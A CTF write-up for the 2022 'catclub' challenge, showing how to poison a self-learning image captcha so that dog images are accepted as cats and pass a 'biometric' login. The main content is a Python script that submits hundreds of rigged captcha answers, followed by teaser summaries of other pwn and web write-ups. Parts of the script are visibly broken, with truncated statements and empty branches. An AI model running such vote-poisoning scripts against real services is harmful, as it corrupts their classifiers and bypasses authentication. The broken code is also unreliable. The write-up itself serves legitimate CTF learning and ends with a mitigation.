CInsects CTF 2022 - catclub

Trick Captcha to believe a dog is actually a cat and let it into the catclub

The challenge catclub is written in Python and offers the service shadymail that can be accessed after an image captcha is solved and the hidden catclub page where various pictures of random cats can be seen.

Service Overview

  • The home page which consists of a captcha where all images of an specific animal must be selected to proceed.(/)
  • The shadymail service which can be accessed after completing a captcha (/shadymail/home)
  • The catclub page where random cat images from the internet are displayed (/catclub/images)
  • A login page where there is a login form and an image upload that acts as a login if one uploads a dog image that is classified by the captcha algorithm as a cat (biometric check) (/catclub/login)
  • The flag page where people who passed the fake cat login get to leave a message (/catclub/login ; logged in as dog)


The goal is to access the page where people can leave comments (flag page). To access this page one has to pass the biometric check as a dog that is classified as a cat.

This is usually impossible because only cats get classified as cats. The vulnerability in this service lies in the fact that the captcha learns which images are cats from user input.

Code excerpt from the captcha service:

# Check if the accuracy is high enough
    if accuracy > ACCURACY_TRESH: #passes captcha
        # Save class votes in user votes
        for image in session["images"]:
            if image in data["clicked_images"]:
                value = 1
                value = -1
            # Get previous user voting if it exists
            previous_value = int(db.hgetall(f'uservote:{image}').get(goal_class, 0))
            # Write new value to db
            db.hset(f'uservote:{image}', goal_class, previous_value + value)#save all selected images

The problem with this algorithm is that it isn't exact and uses a accuracy threshold to determine if a captcha is solved or not. With this mechanic we can call the captcha service over and over again, select all cat images and select a few dog images so that the captcha still passes but dogs get marked as cats.


As the base of the exploit I used the file from the source of the service that loads all images of animals and their true label classification.

I then use this ground truth and comapare it with the images I get from the "/" endpoint (captcha). I select all cats and a few dogs so that I can still pass the accuracy threshold and send the try to "/captchaaas/validate". After a few hundred iterations I get enough dogs smuggled in as cats and can then use these misclassified dogs to circumvent the biometric verification check on "/catclub/login".

After that I can just use a dog to login on "/catclub/login", where the page detects that I am a dog that got classified as a cat and displays all messages left from people who got here first (including flags).

import string
import pickle
import random
import requests
import matplotlib.pyplot as plt
from PIL import Image
from io import BytesIO
from urllib.parse import quote
from base64 import b64encode
from bs4 import BeautifulSoup

#Load image data and labels
def unpickle(file):
    with open(file, 'rb') as fo:
        dict = pickle.load(fo, encoding='latin1')
    return dict

data_batch_1 = unpickle("data_batch_1")
meta = unpickle("batches.meta")

labels = data_batch_1['labels']
images = data_batch_1['data']

print(f"Avalible classes: {meta['label_names']}")

classes = ["bird", "cat", "deer", "dog", "frog", "horse"]

print(f"Selected classes: {classes}")
print(f"Unavaliblbe classes: {list(set(classes) - set(meta['label_names']))}")

used_class_indices = [meta['label_names'].index(class_name) for class_name in classes]

pickle_contents = {}
pickle_images = {}
for idx, image in enumerate(images):
    label = labels[idx]
    if label in used_class_indices:
        image = image.reshape(3,32,32).transpose(1,2,0)
        image = Image.fromarray(image)
        byte_io = BytesIO(), 'png')
        data = quote(b64encode(byte_io.getvalue()).decode('ascii'))
        image_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
        pickle_contents[data]= meta['label_names'][label]
        pickle_images[data] = image

used_dogs = []

#call captcha service over and over again, select all cats 
for i in range(500):
    id = ""
    while True:
        r = requests.get('http://localhost')
        soup = BeautifulSoup(r.text, 'html.parser')
        id = soup.find_all("div", {"class": "captcha_image_card"})[0].get("id")
        # only smuggle dogs in cptchas where cats must be selected
        if str(soup.find_all('b')[0])=="<b>cat!</b>":

    cats = []
    dogs = []
    for img in soup.find_all('img'):
        if pickle_contents[img.get('src')[23:]]:
            if pickle_contents[img.get('src')[23:]] == "cat":
            if pickle_contents[img.get('src')[23:]] == "dog":
                #Save dogs
                pickle_images[img.get('src')[23:]].save("chosen/dogs-"+img.get("id")+".png", 'png')

    stats = [[x,used_dogs.count(x)] for x in set(used_dogs)]

    ids_l1 = set(x[0] for x in stats)  # All ids in list 1
    intersection = [item for item in stats if item[0] in dogs]  # Only those elements of l2 with an id in l1
    intersection.sort(key=lambda tup: tup[1],reverse=True)
    #select dogs with the most hits
    if len(intersection)==0:
    elif len(intersection) <3:
        diff = 3-len(intersection)
        sel_dogs = [item[0] for item in intersection]+ [item[0] for item in dogs if item not in [dog for dog in dogs]][0:diff]
        sel_dogs = [item[0] for item in intersection[0:3]]

    myobj = {'clicked_images': cats+sel_dogs,"id":id}
    used_dogs = used_dogs+sel_dogs
    # send the captcha with the smuggled dogs to the captcha endpoint
    x ="http://localhost/captchaaas/validate", json = myobj)

# output dogs which are classified the most as cats
stats = [[x,used_dogs.count(x)] for x in set(used_dogs)]
stats.sort(key=lambda tup: tup[1], reverse=True)

Possible mitigation

Disable the learning feature and just use the label database for verification of captchas instead.

DCTF 2021 - Just In Time

Using frida to get decrypted flag.

Description Don't fall in (rabbit) holes Preface We get a binary which just prints Decryption finished. Overview Using ghidra, we can analyse the binary. Inside the main of the binary we can see, that their is some binary content and multiple functions called with strncpy in between. undefined8 main(int argc,char **argv) { char *key_text; char *key_buffer; long Read More

DCTF 2021 - Bell

Read number and run throught known function

Description Blaise's friends like triangles too! nc 5311 Preface The function gives us a number and then waits for multiple inputs. Overview Loading the file into ghidra we can take a look at what happens. undefined8 main(void) { int iVar1; uint uVar2; time_t tVar3; tVar3 = time((time_t *)0x0); srand((uint Read More

DCTF 2021 - Pinch me

Buffer overflow to overwrite variable

Description This should be easy! nc 7480 Preface We got a binary file which asked us Am I dreaming? and with basic input prints then Pinch me! Overview Loading the binary into ghidra we can see, that the interaction happens in the function vuln void vuln(void) { char local_28 [24]; int local_10; int local_c; local_c = 0x1234567 Read More

DCTF 2021 - Readme

Format String to dump the memory and get flag.

Description Read me to get the flag. nc 7481 Preface We get a binary which asks for our name and then prints hello + input. But in order for the binary to run, a file flag.txt needs to be created in the working directoy. Overview Decompiling the binary in ghidra, we see a function vuln where the logic happens. The decompiled function with some renaming of the variables looks like this: void vuln(void) { Read More

DCTF 2021 - Pwn sanity check

Simple buffer overflow with ret2win.

Description This should take about 1337 seconds to solve. nc 7480 Preface We get a simple binary, with simple input and output. Overview Looking at the binary in ghidra, I found these functions. void vuln(void) { char local_48 [60]; int local_c; puts("tell me a joke"); fgets(local_48,0x100,stdin); if ( Read More

DCTF 2021 - Baby bof

Buffer overflow and ret2libc

Description It's just another bof. nc 7481 Preface We got a simple binary with output plz don't rop me and after our input plz don't rop me Also we got a Dockerfile, which showed us the used image was Ubuntu:20.04 Overview Based on the output, we know it was a rop challenge. Also checksec baby_bof gave us. Arch: amd64-64-little RELRO: Partial RELRO Stack:...

Read More
DCTF 2021 - Hotel rop

ROP chain with multiple function and then ret2win

Description They say programmers' dream is California. And because they need somewhere to stay, we've built a hotel! nc 7480 Preface We got a binary file with simple input and some output related to hotel checkIn. Overview Based on the name of the challenge, we can be certain, that some sort of rop is needed. Loading the binary into ghidra we can see our function vuln. void vuln(void) { char local_28 [ Read More

PBCTF 2020 - Ikea Name Generator

XSS, CSP bypass, Character Encoding Issues, Unintended Vulnerability

Overview What's your IKEA name? Mine is SORPOÄNGEN. By: corb3nik One of the most useful applications seen on a CTF so far, a name generator to dive into the Swedish culture: a must have for all the people shopping at IKEA like lavish today, see below. The application provides an input field where users are supposed to insert their name. After clicking on the submit button, an Ikea-like name is displayed. The report page allows...

Read More
Dragon CTF 2020 - Memory Maze

Solve a Memory Maze by leaking info on mapped memory from /proc/self/map_files

Overview The challenge description goes as follows: Miscellaneous, 287 pts Difficulty: medium (26 solvers) Can you escape my memory maze? Treasure awaits at the end! nc 1337 Download File Download archive here Well, let's see if we are able to find the treasure! A look at the...

Read More
  • 1
  • 2